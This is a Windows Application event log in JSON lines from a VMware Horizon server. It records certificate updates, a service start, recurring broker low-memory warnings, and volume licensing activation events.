{"@timestamp":1653532937999,"ecs":{"version":"8.4"},"event":{"activity":null,"code":4097,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, S=Greater Manchester, C=GB","AFE5D244A8D1194230FF479FE2F897BBCD7A8CB4"]}}},"module":"Application","provider":"Microsoft-Windows-CAPI2","sequence":168785}}
{"@timestamp":1653532938258,"ecs":{"version":"8.4"},"event":{"activity":null,"code":4097,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["CN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, S=Greater Manchester, C=GB","D1EB23A46D17D68FD92564C2F1F1601764D8E349"]}}},"module":"Application","provider":"Microsoft-Windows-CAPI2","sequence":168786}}
{"@timestamp":1653532948045,"ecs":{"version":"8.4"},"event":{"activity":null,"code":4097,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["CN=AddTrust External CA Root, OU=AddTrust External TTP Network, O=AddTrust AB, C=SE","02FAF3E291435468607857694DF5E45B68851868"]}}},"module":"Application","provider":"Microsoft-Windows-CAPI2","sequence":168787}}
{"@timestamp":1653532954188,"ecs":{"version":"8.4"},"event":{"activity":null,"code":4097,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["CN=Certum Trusted Network CA, OU=Certum Certification Authority, O=Unizeto Technologies S.A., C=PL","07E032E020B72C3F192F0628A2593A19A70F069E"]}}},"module":"Application","provider":"Microsoft-Windows-CAPI2","sequence":168788}}
{"@timestamp":1653532954314,"ecs":{"version":"8.4"},"event":{"activity":null,"code":4097,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["CN=Certum Trusted Network CA 2, OU=Certum Certification Authority, O=Unizeto Technologies S.A., C=PL","D3DD483E2BBF4C05E8AF10F5FA7626CFD3DC3092"]}}},"module":"Application","provider":"Microsoft-Windows-CAPI2","sequence":168789}}
{"@timestamp":1653533270850,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1040,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","START"]}}},"module":"Application","provider":"nssm","sequence":168790}}
{"@timestamp":1653533271366,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":168791}}
{"@timestamp":1653533271366,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":168792}}
{"@timestamp":1653533273788,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":168793}}
{"@timestamp":1653534246442,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Thu May 26 05:04:06 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168794}}
{"@timestamp":1653561773854,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168795}}
{"@timestamp":1653577450326,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Thu May 26 17:04:10 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168796}}
{"@timestamp":1653619925964,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168797}}
{"@timestamp":1653620654568,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Fri May 27 05:04:14 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168798}}
{"@timestamp":1653663858610,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Fri May 27 17:04:18 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168799}}
{"@timestamp":1653678017662,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168800}}
{"@timestamp":1653707062668,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sat May 28 05:04:22 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168801}}
{"@timestamp":1653742170720,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168802}}
{"@timestamp":1653750266663,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sat May 28 17:04:26 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168803}}
{"@timestamp":1653793470822,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sun May 29 05:04:30 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168804}}
{"@timestamp":1653805303673,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168805}}
{"@timestamp":1653836674830,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sun May 29 17:04:34 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168806}}
{"@timestamp":1653863455457,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168807}}
{"@timestamp":1653879878823,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Mon May 30 05:04:38 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168808}}
{"@timestamp":1653923082879,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Mon May 30 17:04:42 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168809}}
{"@timestamp":1653927128442,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168810}}
{"@timestamp":1653966286904,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Tue May 31 05:04:46 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168811}}
{"@timestamp":1653990981431,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168812}}
{"@timestamp":1654009490998,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Tue May 31 17:04:50 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168813}}
{"@timestamp":1654049073123,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168814}}
{"@timestamp":1654052695024,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Wed Jun 01 05:04:55 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168815}}
{"@timestamp":1654095898720,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Wed Jun 01 17:04:58 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168816}}
{"@timestamp":1654097169716,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8230,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-Action-StateData (REG_SZ) =AppId=55c92734-d682-4d71-983e-d6ec3f16059f;GraceEndDate=2022/11/21:15:26:09;LastConsumptionReason=0x4004f040;LastNotificationId=VolumeRenewalRequired;LicenseState=SL_LICENSING_STATUS_LICENSED;PartialProductKey=8XDDG;ProductKeyType=Volume:GVLK;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;ruleId=502ff3ba-669a-4674-bbb1-601f34a3b968;uxDifferentiator=ENVIRONMENT;volumeActivationOrder=normal"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168817}}
{"@timestamp":1654097170938,"ecs":{"version":"8.4"},"event":{"activity":null,"code":12288,"custom_data":{"EventData":{"Binary":"00000600E6810262DA437BB9BB41C97A60A8E81D07EE592BD325E3F4ADAE5AAD40365A471F7967DD840EE18A8E01F2FBCF7D25AA0E3D33FC8F3E49DB2D350A12C1446AB32603A5CED2A08ECDE74D2EA20E22AC194E527EBC2F765E131B8E89BD8ED03D0AF6462ABBCB214CF7D99EA7FAB6AC6D87CBDEBDE3A631C969358064C36D27DCE2DA87788CD461B1FE248E35E6C09A9B3BFD62DC585B5C2AFF07BD0EAA5BCC05D290A78F8BA51C6929719EB390B0DD0CD8074C1CC0764DB90D8369512382A3714530A6A0865C4F17BF55DF30307C0FC49E75F26A86CC68FED671D289E0FDA27BC0B1348C9C6CD1CE88AF86E32690F57083819650E8A51C03B70D2F643917C497D0","Data":{"#text":["0x00000000, 0x00000000, eng-infrasrv101.engineering-ac.de:1688, 66fdcf75-989c-462d-9cda-ff5474d65922, 2022/06/01 15:26, 0, 1, 249120, 21c56779-b449-4d20-adfc-eece0e1ad74b, 5"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168818}}
{"@timestamp":1654097171062,"ecs":{"version":"8.4"},"event":{"activity":null,"code":12289,"custom_data":{"EventData":{"Binary":"00000600E619E02D7C765ABFE5319D56DDDD01ABF4B04221856F20299F4C955E0AAB352337F7DB28CA1543A24B24E0559D64F11F0F865D509E26D1AD09BF3786E87D146620412ECF7F4E8B0F743C91655440DEA46C78F4A5C025596B4179D861157ACD1A667475E43ED1527E7F0E7DAF072A04DC294DA582811947123B4347E51AB41B01245C84FA86BC006FDA2ADFE480A6FA8992BC4A7A2B30E6D33DF908D83FAD9FF2CFD1ACE615BD7592AE017AB31115BCD6DD973552757FCE606CB18A2E85D77E84E274F556159AB6F27FEFBE684253B3569F5E0B472C1689D1B445310F3AD6C5F8236247B45E21F08780A784A8701D733C173717172B38D22892B100D1877362E8","Data":{"#text":["0x00000000, 0x00000000, 1, 0, 50, 120, 10080, 2022/06/01 15:26"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168819}}
{"@timestamp":1654097171198,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["ACLUIFileFolderTool-IsSecurityUIEnabled","100"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168820}}
{"@timestamp":1654097171200,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-IgnoreDeferredActivation","500"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168821}}
{"@timestamp":1654097171202,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1033,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["(Security-SPP-Reserved-EnableNotificationMode) ","55c92734-d682-4d71-983e-d6ec3f16059f","21c56779-b449-4d20-adfc-eece0e1ad74b"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168822}}
{"@timestamp":1654097171260,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1003,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["55c92734-d682-4d71-983e-d6ec3f16059f","\n1: 21c56779-b449-4d20-adfc-eece0e1ad74b, 1, 1 [(0 [0x00000000, 1, 0], [(?)( 1 0x00000000)(?)( 2 0x00000000 0 0 msft:rm/algorithm/volume/1.0 0x4004F040 259200)(?)(?)( 10 0x00000000 msft:rm/algorithm/flags/1.0)(?)])(1 )(2 )(3 )]\n2: 22105925-48c3-4ff4-a294-f654bb27e390, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n3: 2e7a9ad1-a849-4b56-babe-17d5a29fe4b4, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n4: 3c006fa7-3b03-45a4-93da-63ddc1bdce11, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n5: 3c2da9a5-1c6e-45d1-855f-fdbef536676f, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n6: 562634bb-b8d8-43eb-8325-bf63a42c4174, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n7: 58448dfb-6ac0-4e06-b491-07f2b657b268, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n8: 661f7658-7035-4b4c-9f35-010682943ec2, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n9: 942efa8f-516f-46d8-8541-b1ee1bce08c6, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n10: 9db83b52-9904-4326-8957-ebe6feedf37c, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n11: a43f7b89-8023-413a-9f58-b8aec2c04d00, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n12: cbf3499f-848e-488b-a165-ac6d7e27439d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n13: d6992aac-29e7-452a-bf10-bbfb8ccabe59, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n14: d839f159-1128-480b-94b6-77fa9943a16a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n15: e73aabfa-12bc-4705-b551-2dd076bebc7d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n16: fea51083-1906-44ed-9072-86af9be7ab9a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n\n"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168823}}
{"@timestamp":1654097171356,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1003,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["55c92734-d682-4d71-983e-d6ec3f16059f","\n1: 21c56779-b449-4d20-adfc-eece0e1ad74b, 1, 1 [(0 [0x00000000, 1, 0], [(?)( 1 0x00000000)(?)( 2 0x00000000 0 0 msft:rm/algorithm/volume/1.0 0x4004F040 259200)(?)(?)( 10 0x00000000 msft:rm/algorithm/flags/1.0)(?)])(1 )(2 )(3 )]\n2: 22105925-48c3-4ff4-a294-f654bb27e390, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n3: 2e7a9ad1-a849-4b56-babe-17d5a29fe4b4, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n4: 3c006fa7-3b03-45a4-93da-63ddc1bdce11, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n5: 3c2da9a5-1c6e-45d1-855f-fdbef536676f, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n6: 562634bb-b8d8-43eb-8325-bf63a42c4174, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n7: 58448dfb-6ac0-4e06-b491-07f2b657b268, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n8: 661f7658-7035-4b4c-9f35-010682943ec2, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n9: 942efa8f-516f-46d8-8541-b1ee1bce08c6, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n10: 9db83b52-9904-4326-8957-ebe6feedf37c, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n11: a43f7b89-8023-413a-9f58-b8aec2c04d00, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n12: cbf3499f-848e-488b-a165-ac6d7e27439d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n13: d6992aac-29e7-452a-bf10-bbfb8ccabe59, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n14: d839f159-1128-480b-94b6-77fa9943a16a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n15: e73aabfa-12bc-4705-b551-2dd076bebc7d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n16: fea51083-1906-44ed-9072-86af9be7ab9a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n\n"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168824}}
{"@timestamp":1654097171381,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8197,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["RuleId=502ff3ba-669a-4674-bbb1-601f34a3b968;Action=AutoActivateSilent;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;NotificationInterval=1440;Trigger=TimerEvent"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168825}}
{"@timestamp":1654097171618,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8230,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-Action-StateData (REG_SZ) =AppId=55c92734-d682-4d71-983e-d6ec3f16059f;GraceEndDate=2022/11/28:15:26:11;LastConsumptionReason=0x4004f040;LastNotificationId=Cleanup;LicenseState=SL_LICENSING_STATUS_LICENSED;PartialProductKey=8XDDG;ProductKeyType=Volume:GVLK;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;ruleId=379cccfb-d4e0-48fe-b0f2-0136097be147;uxDifferentiator=ENVIRONMENT;volumeActivationOrder=normal"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168826}}
{"@timestamp":1654097171648,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8197,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["RuleId=379cccfb-d4e0-48fe-b0f2-0136097be147;Action=CleanupState;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;Trigger=TimerEvent"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168827}}
{"@timestamp":1654097201697,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-06-08T15:25:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168828}}
{"@timestamp":1654112506073,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168829}}
{"@timestamp":1654139103140,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Thu Jun 02 05:05:03 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168830}}
{"@timestamp":1654175279306,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168831}}
{"@timestamp":1654182307322,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Thu Jun 02 17:05:07 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168832}}
{"@timestamp":1654225511372,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Fri Jun 03 05:05:11 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168833}}
